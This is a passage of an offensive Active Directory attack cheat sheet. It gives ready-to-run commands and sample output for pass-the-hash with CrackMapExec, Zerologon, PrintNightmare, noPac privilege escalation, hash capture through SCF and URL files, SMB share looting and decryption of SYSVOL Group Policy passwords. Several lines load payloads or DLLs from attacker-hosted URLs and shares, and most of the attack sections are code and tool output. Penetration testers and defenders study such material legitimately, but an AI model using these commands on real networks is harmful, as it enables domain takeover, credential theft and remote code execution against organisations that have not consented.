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Active Directory Attacks



# use the latest release, CME is now a binary packaged will all its dependencies
root@payload$ wget

# execute cme (smb, winrm, mssql, ...)
root@payload$ cme smb -L
root@payload$ cme smb -M name_module -o VAR=DATA
root@payload$ cme smb -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth
root@payload$ cme smb -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares
root@payload$ cme smb -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher
root@payload$ cme smb -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
root@payload$ cme smb -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST= LPORT=4443
root@payload$ cme smb -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"
root@payload$ cme smb -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
root@payload$ cme smb -u user -p 'Password' --local-auth -M mimikatz
root@payload$ cme mimikatz --server http --server-port 80
git clone && cd mitm6
pip install .
mitm6 -d lab.local -wh -t smb:// -i
# -wh: Server hosting WPAD file (Attacker’s IP)
# -t: Target (You cannot relay credentials to the same device that you’re spoofing)
# -i: open an interactive shell -t ldaps://lab.local -wh attacker-wpad --delegate-access
.\ADRecon.ps1 -DomainController -Credential MYAD\myuser
  • Active Directory Assessment and Privilege Escalation Script

    powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1 
  • Ping Castle

    pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME> --password <PASSWORD> --advanced-live --nullsession
    pingcastle.exe --healthcheck --server domain.local
    pingcastle.exe --graph --server domain.local
    pingcastle.exe --scanner scanner_name --server domain.local
    available scanners are:aclcheck,antivirus,computerversion,foreignusers,laps_bitlocker,localadmin,nullsession,nullsession-trust,oxidbindings,remote,share,smb,smb3querynetwork,spooler,startup,zerologon,computers,users
  • Kerbrute

    ./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>
  • Rubeus

    Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]
    Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
    Rubeus.exe klist [/luid:LOGINID]
    Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]
  • AutomatedLab

    New-LabDefinition -Name GettingStarted -DefaultVirtualizationEngine HyperV
    Add-LabMachineDefinition -Name FirstServer -OperatingSystem 'Windows Server 2016 SERVERSTANDARD'

Kerberos Clock Synchronization

In Kerberos, time is used to ensure that tickets are valid. To achieve this, the clocks of all Kerberos clients and servers in a realm must be synchronized to within a certain tolerance. The default clock skew tolerance in Kerberos is 5 minutes, which means that the difference in time between the clocks of any two Kerberos entities should be no more than 5 minutes.

  • Detect clock skew automatically with nmap
    $ nmap -sV -sC
    clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s
  • Compute yourself the difference between the clocks
    nmap -sT -p445 --script smb2-time -vv
  • Fix #1: Modify your clock
    sudo date -s "14 APR 2015 18:25:16" # Linux
    net time /domain /set # Windows
  • Fix #2: Fake your clock
    faketime -f '+8h' date

Active Directory Recon

Using BloodHound

Use the correct collector * AzureHound for Azure Active Directory * SharpHound for local Active Directory * RustHound for local Active Directory

  • use BloodHoundAD/AzureHound (more info: Cloud - Azure Pentest)

  • use BloodHoundAD/BloodHound

    # run the collector on the machine using SharpHound.exe
    # /usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe
    .\SharpHound.exe -c all -d active.htb --searchforest
    .\SharpHound.exe -c all,GPOLocalGroup # all collection doesn't include GPOLocalGroup by default
    .\SharpHound.exe --CollectionMethod DCOnly # only collect from the DC, doesn't query the computers (more stealthy)
    .\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --JSONFolder <PathToFile>
    .\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --domaincontroller -d active.htb
    .\SharpHound.exe -c all,GPOLocalGroup --outputdirectory C:\Windows\Temp --randomizefilenames --prettyjson --nosavecache --encryptzip --collectallproperties --throttle 10000 --jitter 23
    # or run the collector on the machine using Powershell
    # /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1
    Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
    Invoke-BloodHound -CollectionMethod All  -LDAPUser <UserName> -LDAPPass <Password> -OutputDirectory <PathToFile>
    # or remotely via BloodHound Python
    pip install bloodhound
    bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
    # or locally/remotely from an ADExplorer snapshot from SysInternals (ADExplorer remains a legitimate binary signed by Microsoft, avoiding detection with security solutions)
    pip3 install --user . <snapshot path> -o <*.json output folder path>

  • Collect more data for certificates exploitation using Certipy
    certipy find 'corp.local/john:Passw0rd@dc.corp.local' -bloodhound
    certipy find 'corp.local/john:Passw0rd@dc.corp.local' -old-bloodhound
    certipy find 'corp.local/john:Passw0rd@dc.corp.local' -vulnerable -hide-admins -username user@domain -password Password123
  • use OPENCYBER-FR/RustHound
    # Windows with GSSAPI session
    rusthound.exe -d domain.local --ldapfqdn domain
    # Windows/Linux simple bind connection username:password
    rusthound.exe -d domain.local -u user@domain.local -p Password123 -o output -z
    # Linux with username:password and ADCS module for @ly4k BloodHound version
    rusthound -d domain.local -u 'user@domain.local' -p 'Password123' -o /tmp/adcs --adcs -z

Then import the zip/json files into the Neo4J database and query them.

root@payload$ apt install bloodhound 

# start BloodHound and the database
root@payload$ neo4j console
# or use docker
root@payload$ docker run -itd -p 7687:7687 -p 7474:7474 --env NEO4J_AUTH=neo4j/bloodhound -v $(pwd)/neo4j:/data neo4j:4.4-community

root@payload$ ./bloodhound --no-sandbox
Go to, use db:bolt://localhost:7687, user:neo4J, pass:neo4j

You can add some custom queries like : * Bloodhound-Custom-Queries from @hausec * BloodHoundQueries from CompassSecurity * BloodHound Custom Queries from Exegol - @ShutdownRepo * Certipy BloodHound Custom Queries from ly4k

Replace the customqueries.json file located at /home/username/.config/bloodhound/customqueries.json or C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json.

Using PowerView

  • Get Current Domain: Get-NetDomain
  • Enum Other Domains: Get-NetDomain -Domain <DomainName>
  • Get Domain SID: Get-DomainSID
  • Get Domain Policy:
    #Will show us the policy configurations of the Domain about system access or kerberos
    (Get-DomainPolicy)."system access"
    (Get-DomainPolicy)."kerberos policy"
  • Get Domain Controlers:
    Get-NetDomainController -Domain <DomainName>
  • Enumerate Domain Users:
    Get-NetUser -SamAccountName <user> 
    Get-NetUser | select cn
    #Check last password change
    Get-UserProperty -Properties pwdlastset
    #Get a specific "string" on a user's attribute
    Find-UserField -SearchField Description -SearchTerm "wtver"
    #Enumerate user logged on a machine
    Get-NetLoggedon -ComputerName <ComputerName>
    #Enumerate Session Information for a machine
    Get-NetSession -ComputerName <ComputerName>
    #Enumerate domain machines of the current/specified domain where specific users are logged into
    Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName, SessionFromName
  • Enum Domain Computers:
    Get-NetComputer -FullData
    #Enumerate Live machines 
    Get-NetComputer -Ping
  • Enum Groups and Group Members:
    Get-NetGroupMember -GroupName "<GroupName>" -Domain <DomainName>
    #Enumerate the members of a specified group of the domain
    Get-DomainGroup -Identity <GroupName> | Select-Object -ExpandProperty Member
    #Returns all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences
    Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
  • Enumerate Shares
    #Enumerate Domain Shares
    #Enumerate Domain Shares the current user has access
    Find-DomainShare -CheckShareAccess
  • Enum Group Policies:
    # Shows active Policy on specified machine
    Get-NetGPO -ComputerName <Name of the PC>
    #Get users that are part of a Machine's local Admin group
    Find-GPOComputerAdmin -ComputerName <ComputerName>
  • Enum OUs:
    Get-NetOU -FullData 
    Get-NetGPO -GPOname <The GUID of the GPO>
  • Enum ACLs:
    # Returns the ACLs associated with the specified account
    Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
    Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
    #Search for interesting ACEs
    Invoke-ACLScanner -ResolveGUIDs
    #Check the ACLs associated with a specified path (e.g smb share)
    Get-PathAcl -Path "\\Path\Of\A\Share"
  • Enum Domain Trust:
    Get-NetDomainTrust -Domain <DomainName>
  • Enum Forest Trust:
    Get-NetForestDomain Forest <ForestName>
    #Domains of Forest Enumeration
    Get-NetForestDomain Forest <ForestName>
    #Map the Trust of the Forest
    Get-NetDomainTrust -Forest <ForestName>
  • User Hunting:
    #Finds all machines on the current domain where the current user has local admin access
    Find-LocalAdminAccess -Verbose
    #Find local admins on all machines of the domain:
    Invoke-EnumerateLocalAdmin -Verbose
    #Find computers were a Domain Admin OR a specified user has a session
    Invoke-UserHunter -GroupName "RDPUsers"
    Invoke-UserHunter -Stealth
    #Confirming admin access:
    Invoke-UserHunter -CheckAccess
    :heavy_exclamation_mark: Priv Esc to Domain Admin with User Hunting: \ I have local admin access on a machine -> A Domain Admin has a session on that machine -> I steal his token and impersonate him ->

PowerView 3.0 Tricks

Using AD Module

  • Get Current Domain: Get-ADDomain
  • Enum Other Domains: Get-ADDomain -Identity <Domain>
  • Get Domain SID: Get-DomainSID
  • Get Domain Controlers:
Get-ADDomainController -Identity <DomainName>
  • Enumerate Domain Users:
    Get-ADUser -Filter * -Identity <user> -Properties *
    #Get a specific "string" on a user's attribute
    Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description
  • Enum Domain Computers:
    Get-ADComputer -Filter * -Properties *
    Get-ADGroup -Filter * 
  • Enum Domain Trust:
    Get-ADTrust -Filter *
    Get-ADTrust -Identity <DomainName>
  • Enum Forest Trust:
    Get-ADForest -Identity <ForestName>
    #Domains of Forest Enumeration
  • Enum Local AppLocker Effective Policy:
    Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Other Interesting Commands

  • Find Domain Controllers
    nslookup -type=srv _ldap._tcp.dc._msdcs.<domain>.com
    nltest /
    Get-ADDomainController -filter * | Select-Object name
    gpresult /r
    echo %LOGONSERVER%

From CVE to SYSTEM shell on DC

Sometimes you will find a Domain Controller without the latest patches installed, use the newest CVE to gain a SYSTEM shell on it. If you have a "normal user" shell on the DC you can also try to elevate your privileges using one of the methods listed in Windows - Privilege Escalation

MS14-068 Checksum Validation

This exploit require to know the user SID, you can use rpcclient to remotely get it or wmi if you have an access on the machine.

  • RPCClient
    rpcclient $> lookupnames john.smith
    john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)
  • WMI
    wmic useraccount get name,sid
    Administrator  S-1-5-21-3415849876-833628785-5197346142-500   
    Guest          S-1-5-21-3415849876-833628785-5197346142-501   
    Administrator  S-1-5-21-297520375-2634728305-5197346142-500   
    Guest          S-1-5-21-297520375-2634728305-5197346142-501   
    krbtgt         S-1-5-21-297520375-2634728305-5197346142-502   
    lambda         S-1-5-21-297520375-2634728305-5197346142-1110 
  • Powerview
    Convert-NameToSid high-sec-corp.localkrbtgt
  • CrackMapExec: crackmapexec ldap DC1.lab.local -u username -p password -k --get-sid

Generate a ticket with metasploit or pykek

Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
   Name      Current Setting                                Required  Description
   ----      ---------------                                --------  -----------
   DOMAIN    LABDOMAIN.LOCAL                                yes       The Domain (upper case) Ex: DEMO.LOCAL
   PASSWORD  P@ssw0rd                                       yes       The Domain User password
   RHOSTS                                    yes       The target address range or CIDR identifier
   RPORT     88                                             yes       The target port
   Timeout   10                                             yes       The TCP timeout to establish connection and read data
   USER      lambda                                         yes       The Domain User
   USER_SID  S-1-5-21-297520375-2634728305-5197346142-1106  yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
# Alternative download:
$ git clone
$ python ./ -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
$ python ./ -u -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d
$ python ./ -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d
$ python -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
  [+] Building AS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
  [+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
  [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!

Then use mimikatz to load the ticket.

mimikatz.exe "kerberos::ptc c:\temp\"


  • Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780



White Paper from Secura :

Exploit steps from the white paper

  1. Spoofing the client credential
  2. Disabling signing and sealing
  3. Spoofing a call
  4. Changing a computer's AD password to null
  5. From password change to domain admin
  6. ⚠ reset the computer's AD password in a proper way to avoid any Deny of Service

  7. - Python script from dirkjanm

      # Check (
      proxychains python3 DC01
    $ git clone
    # Activate a virtual env to install impacket
    $ python3 -m venv venv
    $ source venv/bin/activate
    $ pip3 install .
    # Exploit the CVE (
    proxychains python3 DC01
    # Find the old NT hash of the DC
    proxychains -history -just-dc-user 'DC01$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'CORP/DC01$@DC01.CORP.LOCAL'
    # Restore password from secretsdump 
    # secretsdump will automatically dump the plaintext machine password (hex encoded) 
    # when dumping the local registry secrets on the newest version
    python CORP/DC01@DC01.CORP.LOCAL -target-ip -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3

  8. nccfsas - .NET binary for Cobalt Strike's execute-assembly

    git clone
    # Check
    execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local
    # Resetting the machine account password
    execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset
    # Testing from a non Domain-joined machine
    execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch
    # Now reset the password back

  9. Mimikatz - 2.2.0 20200917 Post-Zerologon

    # Check for the CVE
    lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$
    # Exploit the CVE and set the computer account's password to ""
    lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit
    # Execute dcsync to extract some hashes
    lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
    lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
    # Pass The Hash with the extracted Domain Admin hash
    sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN
    # Use IP address instead of FQDN to force NTLM with Windows APIs 
    # Reset password to Waza1234/Waza1234/Waza1234/
    lsadump::postzerologon /target: /account:DC01$

  10. CrackMapExec - only check

    crackmapexec smb -u username -p password -d domain -M zerologon

A 2nd approach to exploit zerologon is done by relaying authentication.

This technique, found by dirkjanm, requires more prerequisites but has the advantage of having no impact on service continuity. The following prerequisites are needed: * A domain account * One DC running the PrintSpooler service * Another DC vulnerable to zerologon

  • ntlmrelayx - from Impacket and any tool such as
    # Check if one DC is running the PrintSpooler service | grep -A 6 "spoolsv"
    # Setup ntlmrelay in one shell -t dcsync://DC01.LAB.LOCAL -smb2support
    #Trigger printerbug in 2nd shell
    python3 'LAB.LOCAL'/joe:Password123@


CVE-2021-1675 / CVE-2021-34527

The DLL will be stored in C:\Windows\System32\spool\drivers\x64\3\. The exploit will execute the DLL either from the local filesystem or a remote share.

Requirements: * Spooler Service enabled (Mandatory) * Server with patches < June 2021 * DC with Pre Windows 2000 Compatibility group * Server with registry key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall = (DWORD) 1 * Server with registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = (DWORD) 0

Detect the vulnerability: * Impacket - rpcdump

python3 ./ @ | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-RPRN]: Print System Remote Protocol
* It Was All A Dream
git clone
cd ItWasAllADream && poetry install && poetry shell
itwasalladream -u user -p Password123 -d domain
docker run -it itwasalladream -u username -p Password123 -d domain

Payload Hosting: * The payload can be hosted on Impacket SMB server since PR #1109:

python3 ./ share /tmp/smb/
* Using Invoke-BuildAnonymousSMBServer (Admin rights required on host):
Import-Module .\Invoke-BuildAnonymousSMBServer.ps1; Invoke-BuildAnonymousSMBServer -Path C:\Share -Mode Enable
* Using WebDav with SharpWebServer (Doesn't require admin rights):
SharpWebServer.exe port=8888 dir=c:\users\public verbose=true
When using WebDav instead of SMB, you must add @[PORT] to the hostname in the URI, e.g.: \\\Downloads\beacon.dll WebDav client must be activated on exploited target. By default it is not activated on Windows workstations (you have to net start webclient) and it's not installed on servers. Here is how to detect activated webdav:
cme smb -u user -p password -d domain.local -M webdav [TARGET]

Trigger the exploit:

  • SharpNightmare
    # require a modified Impacket:
    python3 ./ hackit.local/domain_user:Pass123@ '\\\smb\addCube.dll'
    python3 ./ hackit.local/domain_user:Pass123@ 'C:\addCube.dll'
    ## LPE
    SharpPrintNightmare.exe C:\addCube.dll
    ## RCE using existing context
    SharpPrintNightmare.exe '\\\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\'
    ## RCE using runas /netonly
    SharpPrintNightmare.exe '\\\smb\addCube.dll'  'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\' hackit.local domain_user Pass123
  • Invoke-Nightmare
    ## LPE only (PS1 + DLL)
    Import-Module .\cve-2021-1675.ps1
    Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
    Invoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword "AzkabanUnleashed123*" 
    Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
  • Mimikatz v2.2.0-20210709+
    ## LPE
    misc::printnightmare /server:DC01 /library:C:\Users\user1\Documents\mimispool.dll
    ## RCE
    misc::printnightmare /server:CASTLE /library:\\\smb\beacon.dll /authdomain:LAB /authuser:Username /authpassword:Password01 /try:50
  • PrintNightmare - @outflanknl
    PrintNightmare [target ip or hostname] [UNC path to payload Dll] [optional domain] [optional username] [optional password]

Debug informations

Error Message Debug
0x5 rpc_s_access_denied Permissions on the file in the SMB share
0x525 ERROR_NO_SUCH_USER The specified account does not exist.
0x180 unknown error code Share is not SMB2

samAccountName spoofing

During S4U2Self, the KDC will try to append a '\$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '\$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC\$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a ST to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid ST for the domain controller.


  • MachineAccountQuota > 0

Check for exploitation

  1. Check the MachineAccountQuota of the account
    crackmapexec ldap -u username -p 'Password123' -d 'domain.local' --kdcHost -M MAQ
    StandIn.exe --object ms-DS-MachineAccountQuota=*
  2. Check if the DC is vulnerable
    crackmapexec smb -u '' -p '' -d domain -M nopac


  1. Create a computer account
    impacket@linux> -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'
    powermad@windows> . .\Powermad.ps1
    powermad@windows> $password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
    powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
    sharpmad@windows> Sharpmad.exe MAQ -Action new -MachineAccount ControlledComputer -MachinePassword ComputerPassword
  2. Clear the controlled machine account servicePrincipalName attribute
    impacket@linux> -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController
    powershell@windows> . .\Powerview.ps1
    powershell@windows> Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
  3. (CVE-2021-42278) Change the controlled machine account sAMAccountName to a Domain Controller's name without the trailing $
    impacket@linux> -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'
    powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
  4. Request a TGT for the controlled machine account
    impacket@linux> -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'
    cmd@windows> Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
  5. Reset the controlled machine account sAMAccountName to its old value
    impacket@linux> -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'
    powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
  6. (CVE-2021-42287) Request a service ticket with S4U2self by presenting the TGT obtained before
    impacket@linux> KRB5CCNAME='DomainController.ccache' -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'
    cmd@windows> Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
  7. DCSync: KRB5CCNAME='DomainAdmin.ccache' -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'

Automated exploitation:

  • cube0x0/noPac - Windows
    noPac.exe scan -domain htb.local -user user -pass 'password123'
    noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt
    noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service ldaps /ptt /impersonate Administrator
  • Ridter/noPac - Linux
    python 'domain.local/user' -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0' -dc-ip -use-ldap -dump
  • WazeHell/sam-the-admin
    $ python3 "domain/user:password" -dc-ip -shell
    [*] Selected Target dc.caltech.white                                              
    [*] Total Domain Admins 11                                                        
    [*] will try to impersonat gaylene.dreddy                                         
    [*] Current ms-DS-MachineAccountQuota = 10                                        
    [*] Adding Computer Account "SAMTHEADMIN-11$"                                     
    [*] MachineAccount "SAMTHEADMIN-11$" password = EhFMT%mzmACL                      
    [*] Successfully added machine account SAMTHEADMIN-11$ with password EhFMT%mzmACL.
    [*] SAMTHEADMIN-11$ object = CN=SAMTHEADMIN-11,CN=Computers,DC=caltech,DC=white   
    [*] SAMTHEADMIN-11$ sAMAccountName == dc                                          
    [*] Saving ticket in dc.ccache                                                    
    [*] Resting the machine account to SAMTHEADMIN-11$                                
    [*] Restored SAMTHEADMIN-11$ sAMAccountName to original value                     
    [*] Using TGT from cache                                                          
    [*] Impersonating gaylene.dreddy                                                  
    [*]     Requesting S4U2self                                                       
    [*] Saving ticket in gaylene.dreddy.ccache                                        
    [!] Launching semi-interactive shell - Careful what you execute                   
    nt authority\system 
  • ly4k/Pachine
    usage: [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN DC=test,DC=local]
                  [-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip]
    $ python3 -dc-host dc.domain.local -scan 'domain.local/john:Passw0rd!'
    $ python3 -dc-host dc.domain.local -spn cifs/dc.domain.local -impersonate administrator 'domain.local/john:Passw0rd!'
    $ export KRB5CCNAME=$PWD/administrator@domain.local.ccache
    $ impacket-psexec -k -no-pass 'domain.local/administrator@dc.domain.local'

Mitigations: * KB5007247 - Windows Server 2012 R2 * KB5008601 - Windows Server 2016 * KB5008602 - Windows Server 2019 * KB5007205 - Windows Server 2022 * KB5008102 * KB5008380

Open Shares

Some shares can be accessible without authentication, explore them to find some juicy files

  • ShawnDEvans/smbmap - a handy SMB enumeration tool

    smbmap -H                # null session
    smbmap -H -R             # recursive listing
    smbmap -H -u invaliduser # guest smb session
    smbmap -H -d "DOMAIN.LOCAL" -u "USERNAME" -p "Password123*"

  • byt3bl33d3r/pth-smbclient from path-toolkit

    pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //
    pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //$
    ls  # list files
    cd  # move inside a folder
    get # download files
    put # replace a file

  • SecureAuthCorp/smbclient from Impacket

    smbclient -I -L ACTIVE -N -U ""
            Sharename       Type      Comment
            ---------       ----      -------
            ADMIN$          Disk      Remote Admin
            C$              Disk      Default share
            IPC$            IPC       Remote IPC
            NETLOGON        Disk      Logon server share
            Replication     Disk      
            SYSVOL          Disk      Logon server share
            Users           Disk
    use Sharename # select a Sharename
    cd Folder     # move inside a folder
    ls            # list files

  • smbclient - from Samba, ftp-like client to access SMB/CIFS resources on servers

    smbclient -U username //
    smbclient //
    # Download a folder recursively
    smb: \> mask ""
    smb: \> recurse ON
    smb: \> prompt OFF
    smb: \> lcd '/path/to/go/'
    smb: \> mget *

  • SnaffCon/Snaffler - a tool for pentesters to help find delicious candy

    snaffler.exe -s - snaffler.log
    # Snaffle all the computers in the domain
    ./Snaffler.exe -d domain.local -c <DC> -s
    # Snaffle specific computers
    ./Snaffler.exe -n computer1,computer2 -s
    # Snaffle a specific directory
    ./Snaffler.exe -i C:\ -s

SCF and URL file attack against writeable share

Theses attacks can be automated with Farmer.exe and Crop.exe

# Farmer to receive auth
farmer.exe <port> [seconds] [output]
farmer.exe 8888 0 c:\windows\temp\test.tmp # undefinitely
farmer.exe 8888 60 # one minute

# Crop can be used to create various file types that will trigger SMB/WebDAV connections for poisoning file shares during hash collection attacks
crop.exe <output folder> <output filename> <WebDAV server> <LNK value> [options]
Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico
Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec

SCF Files

Drop the following @something.scf file inside a share and start listening with Responder : responder -wrf --lm -v -I eth0


Using crackmapexec:

crackmapexec smb -u username -p password -M scuffy -o NAME=WORK SERVER=IP_RESPONDER #scf
crackmapexec smb -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER #lnk
crackmapexec smb -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER CLEANUP

URL Files

This attack also works with .url files and responder -I eth0 -v.


Windows Library Files

Windows Library Files (.library-ms)

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="<>">

Windows Search Connectors Files

Windows Search Connectors (.searchConnector-ms)

<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="<>">
    <description>Microsoft Outlook</description>

Passwords in SYSVOL & Group Policy Preferences

Find password in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.

findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml

Decrypt a Group Policy Password found in SYSVOL (by 0x00C651E0), using the 32-byte AES key provided by Microsoft in the MSDN - Password Encryption

echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

Automate the SYSVOL and passwords research

  • Metasploit modules to enumerate shares and credentials


  • CrackMapExec modules

    cme smb -u Administrator -H 89[...]9d -M gpp_autologin
    cme smb -u Administrator -H 89[...]9d -M gpp_password

  • Get-GPPPassword

